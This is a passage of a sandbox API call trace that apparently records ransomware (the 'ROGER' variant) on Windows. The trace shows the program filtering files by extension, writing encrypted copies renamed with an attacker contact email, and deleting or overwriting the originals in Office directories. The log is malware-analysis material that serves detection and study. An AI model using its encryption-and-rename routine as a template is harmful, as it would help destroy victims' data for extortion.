returned 1 [0057.589] lstrlenW (lpString=".xls") returned 4 [0057.589] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.589] lstrlenW (lpString=".xlsx") returned 5 [0057.589] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0057.589] lstrlenW (lpString=".ppt") returned 4 [0057.589] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.589] lstrlenW (lpString=".zip") returned 4 [0057.589] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.589] lstrlenW (lpString=".rar") returned 4 [0057.589] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.589] lstrlenW (lpString=".bz2") returned 4 [0057.589] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.589] lstrlenW (lpString=".7z") returned 3 [0057.589] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.589] lstrlenW (lpString=".dbf") returned 4 [0057.589] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.590] lstrlenW (lpString=".1cd") returned 4 [0057.590] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.590] lstrlenW (lpString=".jpg") returned 4 [0057.590] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.590] lstrlenW (lpString=".doc") returned 4 [0057.590] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.590] lstrlenW (lpString=".docx") returned 5 [0057.590] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0057.590] lstrlenW (lpString=".pdf") returned 4 [0057.590] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.590] lstrlenW (lpString=".xls") returned 4 [0057.590] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.590] lstrlenW (lpString=".xlsx") returned 5 [0057.590] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0057.590] lstrlenW (lpString=".ppt") returned 4 [0057.590] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.590] lstrlenW (lpString=".zip") returned 4 [0057.590] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.590] lstrlenW (lpString=".rar") returned 4 [0057.590] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.590] lstrlenW (lpString=".bz2") returned 4 [0057.590] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.590] lstrlenW (lpString=".7z") returned 3 [0057.590] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.590] lstrlenW (lpString=".dbf") returned 4 [0057.590] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.591] lstrlenW (lpString=".1cd") returned 4 [0057.591] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.591] lstrlenW (lpString=".jpg") returned 4 [0057.591] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.591] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0057.591] lstrlenW (lpString="ACERECR.DLL") returned 11 [0057.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.591] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=20944) returned 1 [0057.591] CloseHandle (hObject=0x3e0) returned 1 [0057.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0057.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.592] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.592] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0057.592] GetLastError () returned 0x0 [0057.592] ReadFile (in: hFile=0x3e0, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x51d0, lpOverlapped=0x0) returned 1 [0057.594] WriteFile (in: hFile=0x358, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x51e0, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x51e0, lpOverlapped=0x0) returned 1 [0057.596] ReadFile (in: hFile=0x3e0, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.596] WriteFile (in: hFile=0x358, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.596] SetEndOfFile (hFile=0x358) returned 1 [0057.596] CloseHandle (hObject=0x358) returned 1 [0057.596] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.596] SetEndOfFile (hFile=0x3e0) returned 1 [0057.597] CloseHandle (hObject=0x3e0) returned 1 [0057.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.597] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 1 [0057.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.598] lstrlenW (lpString=".doc") returned 4 [0057.598] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.598] lstrlenW (lpString=".docx") returned 5 [0057.598] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0057.598] lstrlenW (lpString=".pdf") returned 4 [0057.598] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.598] lstrlenW (lpString=".xls") returned 4 [0057.598] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.598] lstrlenW (lpString=".xlsx") returned 5 [0057.598] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0057.598] lstrlenW (lpString=".ppt") returned 4 [0057.598] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.598] lstrlenW (lpString=".zip") returned 4 [0057.598] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.598] lstrlenW (lpString=".rar") returned 4 [0057.598] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.598] lstrlenW (lpString=".bz2") returned 4 [0057.598] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.598] lstrlenW (lpString=".7z") returned 3 [0057.598] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.598] lstrlenW (lpString=".dbf") returned 4 [0057.599] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.599] lstrlenW (lpString=".1cd") returned 4 [0057.599] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.599] lstrlenW (lpString=".jpg") returned 4 [0057.599] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.599] lstrlenW (lpString=".doc") returned 4 [0057.599] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.599] lstrlenW (lpString=".docx") returned 5 [0057.599] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0057.646] lstrlenW (lpString=".pdf") returned 4 [0057.646] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.646] lstrlenW (lpString=".xls") returned 4 [0057.646] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.647] lstrlenW (lpString=".xlsx") returned 5 [0057.647] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0057.647] lstrlenW (lpString=".ppt") returned 4 [0057.647] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.647] lstrlenW (lpString=".zip") returned 4 [0057.647] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.647] lstrlenW (lpString=".rar") returned 4 [0057.647] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.647] lstrlenW (lpString=".bz2") returned 4 [0057.647] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.647] lstrlenW (lpString=".7z") returned 3 [0057.647] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.647] lstrlenW (lpString=".dbf") returned 4 [0057.647] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.647] lstrlenW (lpString=".1cd") returned 4 [0057.647] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0057.647] lstrlenW (lpString=".jpg") returned 4 [0057.647] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.647] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0057.647] lstrlenW (lpString="ALRTINTL.DLL") returned 12 [0057.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0057.648] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=154448) returned 1 [0057.648] CloseHandle (hObject=0x358) returned 1 [0057.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0057.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0057.648] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.648] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0057.649] GetLastError () returned 0x0 [0057.649] ReadFile (in: hFile=0x358, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x25b50, lpOverlapped=0x0) returned 1 [0057.653] WriteFile (in: hFile=0x388, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x25b60, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x25b60, lpOverlapped=0x0) returned 1 [0057.657] ReadFile (in: hFile=0x358, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.657] WriteFile (in: hFile=0x388, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.657] SetEndOfFile (hFile=0x388) returned 1 [0057.657] CloseHandle (hObject=0x388) returned 1 [0057.657] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.657] SetEndOfFile (hFile=0x358) returned 1 [0057.659] CloseHandle (hObject=0x358) returned 1 [0057.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.659] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 1 [0057.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.659] lstrlenW (lpString=".doc") returned 4 [0057.659] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.659] lstrlenW (lpString=".docx") returned 5 [0057.659] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0057.659] lstrlenW (lpString=".pdf") returned 4 [0057.659] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.659] lstrlenW (lpString=".xls") returned 4 [0057.659] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.659] lstrlenW (lpString=".xlsx") returned 5 [0057.659] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0057.660] lstrlenW (lpString=".ppt") returned 4 [0057.660] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.660] lstrlenW (lpString=".zip") returned 4 [0057.660] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.660] lstrlenW (lpString=".rar") returned 4 [0057.660] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.660] lstrlenW (lpString=".bz2") returned 4 [0057.660] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.660] lstrlenW (lpString=".7z") returned 3 [0057.660] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.660] lstrlenW (lpString=".dbf") returned 4 [0057.660] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.660] lstrlenW (lpString=".1cd") returned 4 [0057.660] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.660] lstrlenW (lpString=".jpg") returned 4 [0057.660] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.660] lstrlenW (lpString=".doc") returned 4 [0057.660] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.660] lstrlenW (lpString=".docx") returned 5 [0057.660] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0057.660] lstrlenW (lpString=".pdf") returned 4 [0057.660] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.660] lstrlenW (lpString=".xls") returned 4 [0057.660] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.660] lstrlenW (lpString=".xlsx") returned 5 [0057.660] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0057.661] lstrlenW (lpString=".ppt") returned 4 [0057.661] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.661] lstrlenW (lpString=".zip") returned 4 [0057.661] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.661] lstrlenW (lpString=".rar") returned 4 [0057.661] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.661] lstrlenW (lpString=".bz2") returned 4 [0057.661] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.661] lstrlenW (lpString=".7z") returned 3 [0057.661] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.661] lstrlenW (lpString=".dbf") returned 4 [0057.661] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.661] lstrlenW (lpString=".1cd") returned 4 [0057.661] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0057.661] lstrlenW (lpString=".jpg") returned 4 [0057.661] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.661] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0057.661] lstrlenW (lpString="MSOINTL.DLL") returned 11 [0057.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0057.662] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=2528128) returned 1 [0057.662] CloseHandle (hObject=0x358) returned 1 [0057.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0057.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0057.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0057.663] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0057.663] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0057.663] ReadFile (in: hFile=0x358, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.668] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0057.668] ReadFile (in: hFile=0x358, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.675] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0057.675] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0057.675] ReadFile (in: hFile=0x358, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.698] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.698] WriteFile (in: hFile=0x358, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0057.719] SetEndOfFile (hFile=0x358) returned 1 [0057.719] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x53c0068 [0057.738] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.738] WriteFile (in: hFile=0x358, lpBuffer=0x53c0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x53c0068*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.739] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.739] WriteFile (in: hFile=0x358, lpBuffer=0x53c0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x53c0068*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.905] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.905] WriteFile 